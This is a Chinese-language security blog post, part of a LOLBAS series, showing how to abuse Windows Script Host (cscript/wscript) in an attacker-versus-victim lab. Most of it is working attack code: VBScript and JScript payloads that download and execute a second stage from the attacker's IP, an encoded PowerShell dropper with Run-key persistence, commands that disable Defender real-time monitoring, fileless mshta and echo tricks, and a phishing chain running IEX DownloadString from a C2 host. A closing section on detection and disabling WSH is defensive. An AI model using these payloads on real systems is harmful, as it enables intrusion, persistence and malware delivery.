【LOLBAS鐵人賽Day8】Cscript/Wscript深度實戰：Windows Script Host的惡意利用

903 字

5 分鐘

- views

【LOLBAS鐵人賽Day8】Cscript/Wscript深度實戰：Windows Script Host的惡意利用

2025-09-22

Research

LOLBAS

/

Windows

/

Security

cscript.exe 和 wscript.exe 是用來執行系統管理腳本的工具，
IT 人員偶爾用它們來自動化一些維護工作
但這兩個 Windows Script Host 可以執行 VBScript 和 JScript，
而且可以從遠端下載執行操作 COM 物件，甚至繞過許多安全限制

今天我們來實測 Windows 11 上這對兄弟的危險用法

Cscript vs Wscript 差異#

特性

cscript.exe

wscript.exe

執行模式

命令列模式

視窗模式

輸出方式

輸出到 console

彈出對話框

適合場景

自動化腳本背景執行

互動式腳本

隱蔽性

較高（可以靜默）

較低（會彈窗）

預設關聯

.js, .vbs（需指定）

.js, .vbs（雙擊執行）

環境準備#

今天的實作會需要兩台機器：

1
Attacker Machine: Kali
2
Victim Machine: Windows 11

Attacker Machine (Kali)：#

1
mkdir ~/script_demo
2
cd ~/script_demo

payload.vbs (VBScript 測試檔)#

1
Set shell = CreateObject("WScript.Shell")
2
shell.Run "calc.exe"
3
shell.Run "cmd.exe /c echo VBS_Executed > C:\Windows\Temp\vbs_test.txt", 0
4

5
' 下載並執行
6
Set xhr = CreateObject("MSXML2.XMLHTTP")
7
xhr.open "GET", "http://<kali_ip>:8080/stage2.vbs", False
8
xhr.send
9
Execute xhr.responseText

payload.js (JScript 測試檔)#

1
var shell = new ActiveXObject("WScript.Shell");
2
shell.Run("calc.exe");
3

4
// 建立測試檔案
5
var fso = new ActiveXObject("Scripting.FileSystemObject");
6
var file = fso.CreateTextFile("C:\\Windows\\Temp\\js_test.txt", true);
7
file.WriteLine("JScript Executed at " + new Date());
8
file.Close();

dropper.js (進階 payload)#

1
var shell = WScript.CreateObject("WScript.Shell");
2
// 執行 PowerShell (Base64 編碼的指令)
3
var ps = "powershell -enc V3JpdGUtSG9zdCAnRHJvcHBlciBFeGVjdXRlZCEnIC1Gb3JlZ3JvdW5kQ29sb3IgUmVk";
4
shell.Run(ps, 0, true);
5

6
// 建立持續性
7
var regPath = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
8
shell.RegWrite(regPath + "Update", "wscript.exe //B //NoLogo C:\\Windows\\Temp\\update.js", "REG_SZ");

stage2.vbs (第二階段)#

1
MsgBox "Stage 2 Executed!", 48, "Alert"
2
CreateObject("WScript.Shell").Run "notepad.exe"

Web Server#

1
python3 -m http.server 8080

Victim Machine (Windows 11)：#

1
:: 建立測試環境
2
mkdir C:\TestLab
3
cd C:\TestLab
4

5
:: 暫時關閉防護（測試環境）
6
powershell -c "Add-MpPreference -ExclusionPath 'C:\TestLab'"
7
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"

攻擊手法#

一直接執行腳本（本地與遠端）#

1
:: 設定攻擊者 IP
2
set ATTACKER=10.211.55.6
3

4
:: Cscript 執行（命令列模式）
5
cscript //NoLogo payload.js
6
cscript //B //NoLogo payload.vbs
7

8
:: Wscript 執行（視窗模式）
9
wscript payload.js
10
wscript //B payload.vbs
11

12
:: 參數說明：
13
:: //B = Batch mode，不顯示錯誤
14
:: //NoLogo = 不顯示版權資訊
15
:: //T:5 = 設定超時時間（秒）
16
:: //E:jscript = 指定引擎
17

18
:: 從網路共享執行（內網滲透）
19
cscript \\%ATTACKER%\share\payload.js
20
wscript //B \\internal-server\scripts\update.vbs

二透過 Echo 建立並執行（Fileless Download）#

1
:: 方法1：Echo 建立腳本
2
echo var s = new ActiveXObject("WScript.Shell"); s.Run("calc.exe"); > temp.js
3
cscript //NoLogo temp.js
4

5
:: 方法2：一行建立並執行 VBScript
6
echo CreateObject("WScript.Shell").Run "calc.exe" > t.vbs && wscript //B t.vbs && del t.vbs
7

8
:: 方法3：PowerShell 建立並執行
9
powershell -c "echo 'new ActiveXObject(`"WScript.Shell`").Run(`"calc.exe`");' | Out-File test.js; cscript test.js"
10

11
:: 方法4：透過 mshta 執行 JavaScript（組合技）
12
mshta "javascript:var s=new ActiveXObject('WScript.Shell');s.Run('cscript //B //NoLogo C:\\TestLab\\payload.js',0);window.close();"

實戰：完整攻擊鏈#

1
:: Step 1: 初始感染（釣魚郵件附件 invoice.pdf.js）
2
wscript //B invoice.pdf.js
3

4
:: Step 2: invoice.pdf.js 內容
5
var s = new ActiveXObject("WScript.Shell");
6
s.Run("powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://c2/stage2.ps1')", 0);
7

8
:: Step 3: 建立多重持續性
9
cscript //B //NoLogo persistence.js
10

11
:: persistence.js 內容：
12
:: - 建立排程任務
13
:: - 寫入登錄機碼
14
:: - 複製到啟動資料夾
15
:: - 建立服務

偵測&防禦建議#

檢查痕跡#

1
# 尋找腳本檔案
2
Get-ChildItem -Path C:\ -Include *.js,*.vbs,*.wsf -Recurse -ErrorAction SilentlyContinue |
3
    Where-Object {$_.CreationTime -gt (Get-Date).AddHours(-24)}
4

5
# 檢查 WScript 相關登錄
6
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" |
7
    Select-Object * | Where-Object {$_ -match "script"}
8

9
# 檢查事件日誌
10
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} |
11
    Where-Object {$_.Message -match 'cscript|wscript'} |
12
    Select-Object TimeCreated, Message

關鍵偵測指標#

cscript.exe 或 wscript.exe 執行來自 TempDownloadsEmail 附件資料夾的腳本
Script Host 產生 PowerShellcmdrundll32 等子程序
Script Host 有網路連線活動
//B 參數（靜默執行）的使用

停用 Windows Script Host#

1
:: 透過登錄機碼停用（需要管理員權限）
2
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
3

4
:: 群組原則停用
5
:: Computer Configuration > Administrative Templates > Windows Components > Windows Script Host
6
:: 設定 "Turn off Windows Script Host" 為 Enabled